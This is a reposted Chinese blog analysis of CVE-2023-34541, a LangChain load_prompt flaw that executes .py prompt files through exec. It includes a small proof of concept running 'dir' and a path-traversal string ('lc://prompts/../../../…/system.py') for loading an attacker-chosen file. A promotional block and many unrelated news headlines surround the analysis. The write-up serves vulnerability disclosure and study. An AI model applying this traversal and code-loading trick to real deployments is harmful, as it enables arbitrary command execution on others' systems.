首页 >银行 > > 正文

焦点信息:LangChain 任意命令执行(CVE-2023-34541)

博客园 2023-06-28 10:17:36

漏洞简介

LangChain是一个用于开发由语言模型驱动的应用程序的框架。

在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。


【资料图】

漏洞复现

在项目下编写test.py

from langchain.prompts import load_promptif __name__ == "__main__":  loaded_prompt = load_prompt("system.py")

同级目录下编写system.py​ 执行系统命令dir

import osos.system("dir")

运行test.py​ 返回了执行系统命令dir​的结果

漏洞分析-_load_prompt_from_file

langchain.prompts.loading.load_prompt

try_load_from_hub​ 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到_load_prompt_from_file

langchain.prompts.loading._load_prompt_from_file

_load_prompt_from_file​ 根据文件的后缀,当后缀是.py​ 时 最终会读取该文件并利用exec​ 去执行

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)

也就相当于,代码可以简写为

if __name__ == "__main__":  file_path = "system.py"  with open(file_path, "rb") as f:    exec(f.read())

漏洞分析-try_load_from_hub

因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析

from langchain.prompts import load_prompt​if __name__ == "__main__":  loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py")

langchain.prompts.loading.load_prompt

langchain.utilities.loading.try_load_from_hub

首先匹配了HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)")​ 所以需要满足最开始是lc://

然后对后面的内容进行匹配,要求第一个字段的值是prompts​ 最后的后缀要在{"py", "yaml", "json"}​ 中

最后拼接请求的url 可以通过../../../​ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行

漏洞小结

在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。

更多网安技能的在线实操练习,请点击这里>>

上一篇:《长风渡》小说讲述什么 小说剧情解说 今日热门 下一篇:最后一页
x
推荐阅读

焦点信息:LangChain 任意命令执行(CVE-2023-34541)

2023-06-28

观速讯丨6月26日基金净值:博时博盈稳健6个月持有期混合A最新净值0.9608,跌0.31%

2023-06-28

天天新动态:安徽省将制定土地征收补偿办法

2023-06-28

算力概念股盘初走低 焦点快播

2023-06-28

信息:海欣食品: 关于向特定对象发行股票申请获得中国证券监督管理委员会同意注册批复的公告

2023-06-28

奥克股份(300082)6月27日主力资金净买入156.72万元

2023-06-28

当前快讯:广东清远通报小学女生被6人围殴

2023-06-28

顺鑫农业拟剥离房地产业务 挂牌转让顺鑫佳宇全部股权

2023-06-28

露笑科技业绩预报:预计上半年净利润1.1亿至1.3亿元 焦点速递

2023-06-28

广东省夏收水稻机收减损技能大比武在雷州举行_世界今亮点

2023-06-28

每日热讯!“烟火气”里的商业智慧:一场消费创新,点燃北京夏日经济新活力

2023-06-28

知己知彼,选择适合自己的债券基金-天天快讯

2023-06-28

天天热点评!或与多股“闪崩”有关 他即将受审

2023-06-28

DeFi 基础设施服务商【Earn Network】完成 270 万美元融资,Shima Capital 领投_全球观速讯

2023-06-28

SHEIN否认秘密申请在美上市 称该消息不实_热讯

2023-06-28

报道:硬盘损坏可以修复吗_硬盘损坏怎么修复

2023-06-28

基层治理添活力!苏州相城黄桥街道党建带团建,助力社区基层建设

2023-06-28

世界讯息:1分钟7连踢!男子高铁调座椅被老人狂踹椅背

2023-06-28

浦发银行理财产品5.2%_浦发银行理财产品表

2023-06-28

甘肃省科技厅召开1—5月份全省强科技行动工作推进调度会

2023-06-28

【新华500】新华500指数(989001)26日低位震荡跌1.38% 每日观点

2023-06-28

氢能概念走势活跃!京城股份三连板 致远新能等大涨 全球观察

2023-06-28

全球速递!鸡蛋保存时间长最简单方法_怎样保存长期新鲜鸡蛋 保存长期新鲜鸡蛋的方法

2023-06-28

《长风渡》小说讲述什么 小说剧情解说 今日热门

2023-06-28

环球速递!沈阳JonyJ演唱会门票在哪买?附官网订票入口

2023-06-28

2023年6月北京第一实验中学招聘要求是什么? 天天热消息

2023-06-28

安徽着力发展新能源汽车产业(经济聚焦)_世界热闻

2023-06-28

狂减52斤,史上最强减肥药来了?专家提醒服药风险

2023-06-28

经典福克斯2.0自动百公里油耗_经典福克斯百公里的油耗是怎么样

2023-06-28

交通事故不做伤残鉴定怎么赔偿?_报资讯

2023-06-28

宿迁市公安局宿豫分局开展禁毒宣传活动

2023-06-28

石药集团研究成果发表于Nature子刊

2023-06-28

花城为什么挖右眼而不挖左眼_花城为什么自挖右眼

2023-06-28

宏川智慧涨停

2023-06-28

市场监管总局公布2023年反不正当竞争“守护”专项执法行动典型案例 当前热门

2023-06-28

北京银行与中保投资签署战略合作协议

2023-06-28

沙燕心理网用户名和密码都忘记了怎样重新注册 沙燕心理网登录 新动态

2023-06-28

【全球时快讯】刚刚!明确了!6月29日开始!

2023-06-28

金龙羽(002882.SZ):深圳工业园电线电缆生产线停产不会对公司生产经营造成不利影响 世界微动态

2023-06-28

天天看点:外国网友COS宇智波斑,化妆技术不重要,后期特效最关键

2023-06-28

天天百事通!新华社:“村超”不是一夜爆红,此前他们尝试了五次

2023-06-28

印度储备银行对四家信用机构的违规行为处以罚款 环球讯息

2023-06-28

u盘文件删除不了怎么回事_u盘文件删除不了怎么办

2023-06-28

【强信心 稳经济 促发展】强化有效投资为经济发展赋能 甘肃固定资产投资实现稳定增长

2023-06-28

天天新消息丨ChatGPT 访问量今年以来环比增速明显下滑 6 月或为负数

2023-06-28

天天快播:瓜子二手车教你3招,轻松在二手车交易二手车市场选车

2023-06-28

三七互娱:因涉嫌信披违法违规收到立案告知书_全球信息

2023-06-28

一图看懂vivo X90s 配置全面升级3999起

2023-06-28

全球热点!2023-06-27 17:21山西高速公路最新路况实时播报

2023-06-28

中国青年报社论:奋力书写新时代中国青年运动和青年工作的壮丽篇章 环球热议

2023-06-28

讯息:今日三大主要货币走势分析:澳元兑美元、美元兑加元、美元兑瑞郎(2023年6月26日)

2023-06-28

每日头条!ST三圣06月26日涨停分析

2023-06-27

【美漫汉化】女浩克V4 #8

2023-06-28

Shokz OpenRun Pro耳机评测

2023-06-27

A股午评:沪指震荡走高涨近1%,海工装备板块大幅走强-当前速看

2023-06-27

南京秦淮区大光路街道多措并举实现停车秩序提升_每日焦点

2023-06-27

世界即时看!A股三大指数均跌超1% 电力股逆市大涨 AI概念股大幅下挫 360触及跌停

2023-06-27

LangChain 任意命令执行(CVE-2023-34541)

2023-06-27

水清岸绿生态好 鹭鸟成群来安家 全球快资讯

2023-06-27

2023吉祥文化金银币价格表(2023年06月27日)

2023-06-27

四年级上册语文工作计划部编版(四年级上册语文工作计划)

2023-06-27

美台军事勾连如何毁台?一图梳理|热文

2023-06-27

【保身家】小心!耳朵里也会长恶性肿瘤,这些预警信号可以帮助早识别

2023-06-27

北交所股票全天成交额14.50亿元,7股成交超5000万元 每日观点

2023-06-27

世界即时看!明晚,强降雨来“报到”

2023-06-27

蟾蜍咒下集(蟾蜍 中药)

2023-06-27

大连市庄河海上风电场址V项目工程监理采购中标结果公示

2023-06-27

雷总玩真的?曝小米首款轿车14.99万起售

2023-06-27

领队向导无忧(半年险)怎么样?保什么?

2023-06-27

汶川突发山洪泥石流,消防正全力开展失联人员搜救工作

2023-06-27

世界球精选!嘉应制药:子公司产品接骨七厘片入围全国中成药采购联盟集中带量采购拟中选结果名单

2023-06-27

这些都是“野鸡大学”!注意甄别_世界滚动

2023-06-27

14.99 万元买续航 800 公里的纯电汽车,小米真有这么牛? 当前滚动

2023-06-27

厦门:461个省市重点项目建设提速 天天快讯

2023-06-27

焦点热文:法拉电子:东孚新厂区计划是在今年下半年设备进场

2023-06-27

瑞纳智能:全资子公司中标项目签订合同,预计总投资约1.14亿元

2023-06-27

河水之灵娜美多少钱(河水之灵)

2023-06-27

天天日报丨浙商银行回应“深圳分行买楼被董事投反对票”:资金不来自于配股

2023-06-27

沪指微幅高开 餐饮旅游板块领涨

2023-06-27

《金铲铲之战》神谕月男怎么玩 S9神谕月男阵容攻略

2023-06-27

斯诺克冠军联赛(排名赛)20名中国选手参与争夺首冠 世界焦点

2023-06-27

178cm男生标准体重是多少斤 178cm男生标准体重-世界报资讯

2023-06-27

阅文举办第七届现实题材网文大赛,近4万部作品参赛

2023-06-27

资讯推荐:知乎持股大模型公司成立新公司

2023-06-27

新莱福(301323):该股换手率大于8%(06-27)

2023-06-27

天天观点:概念动态|广康生化新增“新股与次新股”概念

2023-06-27

青海:开展禁毒宣传 守护万家平安_天天快看点

2023-06-27

听说最近广东人的大拇指都是黑的?

2023-06-27

华中数控6月27日快速上涨_速读

2023-06-27

讯息:年轻人沉迷刮刮乐,笑着进去,哭着出来

2023-06-27

乾景园林董事长回全福计划减持不超过1777.06万股 当前快报

2023-06-27

高澜股份(300499):该股换手率大于8%(06-27)

2023-06-27

观点:售价33.5万元 坦克500Hi4-T正式上市

2023-06-27

世界滚动:岁月不饶人!53岁甄楚倩身材发福脸变样,曾为富商未婚生子退圈

2023-06-27

环球最新:樱花是先开花后长叶的植物对吗_樱花是先开花后长叶的植物

2023-06-27

世界互联网大会数字文明尼山对话开幕式举行

2023-06-27

复苏挑战下,小微经营者生存境况如何?

2023-06-27

每日消息!宋茜周渝民拍戏被网友偶遇 同框互动甜蜜有爱

2023-06-27

云南文旅“银发力量”助力乡村振兴|微头条

2023-06-27

100元左右好评高的白酒,这5款纯粮酒老酒友爱喝,口感不输大牌

2023-06-27